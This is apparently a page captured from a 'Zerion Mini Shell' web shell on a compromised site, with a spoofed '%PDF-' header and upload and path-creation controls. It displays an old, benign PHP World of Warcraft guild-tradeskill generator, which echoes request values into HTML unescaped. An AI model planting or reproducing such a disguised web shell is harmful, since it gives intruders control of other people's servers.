%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/www.varak.net/sig/
Upload File :
Create Path :
Current File : /www/varak.net/www.varak.net/sig/guild_professions.php

<?
/*******************************************************************************
Copyright (c) 2007, Chris Heald. All rights reserved.

Redistribution and use in source and binary forms, with or without modification, 
are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice, this 
list of conditions and the following disclaimer. 

* Redistributions in binary form must reproduce the above copyright notice, this 
list of conditions and the following disclaimer in the documentation and/or 
other materials provided with the distribution. 

* Neither the name of the Author nor the names of its contributors may be used 
to endorse or promote products derived from this software without specific prior 
written permission.

* You are free to use this software in any commercial or non-commercial capacity 
you wish, provided that the following conditions are met:

	1) The original author and any contributors are given visible credit for the 
	tool on each page of the tool and on pages generated by the tool. If your tool 
	does not generate visible pages, then simply place a comment with appropriate
	credit in your code.

	2) You make a good-faith effort to contribute modifications, contributions, and 
	changes to this tool back to the community by releasing them under a license 
	similar to this one. This is non-binding, but is greatly appreciated. 

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
********************************************************************************/

session_start();
set_time_limit(300);
include("_armory.php");
$xmlDataCache = array();
ini_set("user_agent", "Mozilla/5.0 Gecko/20070219 Firefox/2.0.0.2");

$base_icon_url = "http://wowbench.com/images/icons/32x32/";
$icons = array(
	"alchemy" => "Trade_Alchemy.png",
	"blacksmithing" => "Trade_BlackSmithing.png",
	"engineering" => "Trade_Engineering.png",
	"enchanting" => "Trade_Engraving.png",
	"jewelcrafting" => "INV_Hammer_21.png",
	"herbalism" => "Trade_Herbalism.png",
	"leatherworking" => "Trade_LeatherWorking.png",
	"mining" => "Trade_Mining.png",
	"tailoring" => "Trade_Tailoring.png",
	"skinning" => "INV_Weapon_ShortBlade_01.png"
);

function getGuildTradeskills($base_url, $realm, $guild, $minLevel) {
	$guildMembers = getGuildMembers($base_url, $realm, $guild, $minLevel);
	$professionList = array();
	foreach($guildMembers as $guildMember) {
		$charData = getCharacterData($base_url, $realm, $guildMember[0]);
		$professions = $charData->xpath("/page/characterInfo/characterTab/professions/skill");
		foreach($professions as $profession) {
			$attribs = attribs($profession);
			if(!$professionList[$attribs["name"]])
				$professionList[$attribs["name"]] = array();
			$professionList[$attribs["name"]][] = array($guildMember[0], $attribs["value"], $attribs["key"]);
		}
	}
	ksort($professionList);
	return $professionList;
}

function sortTradeskills($a, $b) {
	if($a[1] == $b[1]) {
		return $b[0] > $a[0] ? 1 : -1;
	}
	return $b[1] > $a[1] ? 1 : -1;
}

function writeTradeskills($tradeskills, $realm, $guild, $title, $minLevel) {
	global $base_icon_url, $icons;
	$filename = strtolower(preg_replace("/[^a-zA-Z0-9]/", "-", $realm) . "-" . preg_replace("/[^a-zA-Z']/", "-", $guild)) . "-$minLevel.html";
	$file = fopen("professions_out/$filename", "w");
	fwrite($file, "
			<html>
				<head>
					<meta http-equiv='Content-Type' content='text/html;charset=UTF-8'>
					<title>$guild summary</title>
					
					<script src='../static/sorttable.js'></script>
					<script src='../static/prototype.js'></script>
					<script src='../static/tooltip.js'></script>
					<script src='../static/tabpages.js'></script>
					<link rel='stylesheet' type='text/css' href='../static/comparison.css' />
					<link rel='stylesheet' type='text/css' href='../static/professions.css' />
				</head>
				<body>
	");
	fwrite($file, "<h1>$title Tradeskill Listing</h1><h3>Last Updated: " . strftime("%Y/%m/%d %T %z") . "</h3>\n");
	
	fwrite($file, "<div class='tabSet'>");
	fwrite($file, "<ul class='tabControl'>");
	foreach($tradeskills as $name => $chars) {
		fwrite($file, "<li><a href=\"#$name\" onClick=\"return false;\" control=\"$name\"><img border='0' src=\"" . $base_icon_url . $icons[$chars[0][2]] . "\"> $name</a></li>\n");
	}
	fwrite($file, "</ul>");
	fwrite($file, "<div class='tabContainer'>");
	foreach($tradeskills as $name => $chars) {
		fwrite($file, "\n");
		fwrite($file, "<a name='$name' />");
		fwrite($file, "<div class='fold' id='$name'><table border=1 default_sort='0'>
			<tr><th colspan='2'>$name</th></tr>
			<tr class='sorthead'><th>Name</th></th><th>Skill</th></tr>\n
		");
		foreach($chars as $charData) {
			uasort($charData, sortTradeskills);
			fwrite($file, "<tr><td class='c'>$charData[0]</td><td>$charData[1]</td></tr>\n");
		}		
		fwrite($file, "</table></div>");
	}
	fwrite($file, "</div></div>");
	fwrite($file, "<!-- please leave this credit notice intact. I worked very hard on these tools. :) //-->");
	fwrite($file, "<p />Generated by Antiarc's Armory Tools at <a href='http://wow.tachyonsix.com/armory/'>http://wow.tachyonsix.com/armory</a>.\n");
	fwrite($file, "</body></html>");
	fclose($file);
	return $filename;
}

?>

<link rel="stylesheet" type="text/css" href="style.css" />
<div class="container">
<? include("ads/_vert_ads.php"); ?>

<?

if(@$_REQUEST["realm"] && @$_REQUEST["guild"]) {
	$_SESSION["gen_id"] = false;
	$base_url = "http://wowarmory.com";
	if(@$_REQUEST["loc"] == "EU")
		$base_url = "http://eu.wowarmory.com";
		
	$guilds = explode(",", $_REQUEST["guild"]);
	$tradeskills = array();
	$minLevel = (int)@$_REQUEST["minlevel"];
	if(!$minLevel) $minLevel = 30;
	try {
		foreach($guilds as $guild) {
			if(@$_REQUEST["notrim"])
				$tradeskills = array_merge_recursive($tradeskills, getGuildTradeskills($base_url, @$_REQUEST["realm"], $guild, $minLevel));
			else
				$tradeskills = array_merge_recursive($tradeskills, getGuildTradeskills($base_url, @$_REQUEST["realm"], trim($guild), $minLevel));
		}
		$title = @$_REQUEST["guild"];
		if(@$_REQUEST["title"])
			$title = $_REQUEST["title"];
		$filename = writeTradeskills($tradeskills, @$_REQUEST["realm"], @$_REQUEST["guild"], $title, $minLevel);
		echo "<h3>Summary complete. Please see results at <a href=\"professions_out/$filename\">$filename</a>. Please link to the HTML file rather than this script when sharing the results.</h3>";
	} catch (Exception $e) {
		echo "<font style='font-weight: bold; color: #f00;'>ERROR: " . $e->getMessage() . "</font><p />";
	}
}
$_SESSION["gen_id"] = rand(1, 100000);
?>
<h3>Guild tradeskill sheet generator</h3>
Enter the information below to request an up-to-date guild summary from the Armory. Data is cached for 12 hours, so you won't get different results if you run it more often than that.
<p/>
For an example of the output, see <a href="professions_out/cenarion-circle-southsea-buccaneers.html">this page</a>.
<p />
If you want to <a href="professions_out/">browse already-generated summaries</a>, you can do so as well. You might try looking here for your file if your browser seems to stall and never come back.
<p />
<form method="get">
	<table>
  		<tr><td align="right">Realm (exact):</td><td><input type="text" name="realm"></td></tr>
		<tr><td align="right">Guild name (exact):</td><td><input type="text" name="guild"></td></tr>
		<tr><td align="right">Guild name (to display,<br />blank to use provided):</td><td><input type="text" name="title"></td></tr>
		<tr><td align="right">Minimum level:</td><td><input type="text" name="minlevel" value="30"></td></tr>
	</table>
	<input type="radio" checked name="loc" value="US"> US
	<input type="radio" name="loc" value="EU"> EU<p />
	<input type="checkbox" name="notrim"> Don't trim guild names (you only need this if your guild starts/ends with a space)
	<input type="hidden" name="gen_id" value="<?=$_SESSION["gen_id"] ?>">
	<p />
	
	<input type="submit" />
	<p />
	Please be patient. This pulls a lot of data from the WoW Armory and takes a bit to complete.
	<p />
	If you want to compare multiple guilds, enter them in a comma-delimited format.
	<p />
	Example: Southsea Buccaneers, Unbroken
</form>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
<script type="text/javascript">
_uacct = "UA-1555148-2";
urchinTracker();
</script>
<? include("_footer.php"); ?>
</div>
<?
logReferer("ProfessionsList");
?>

Zerion Mini Shell 1.0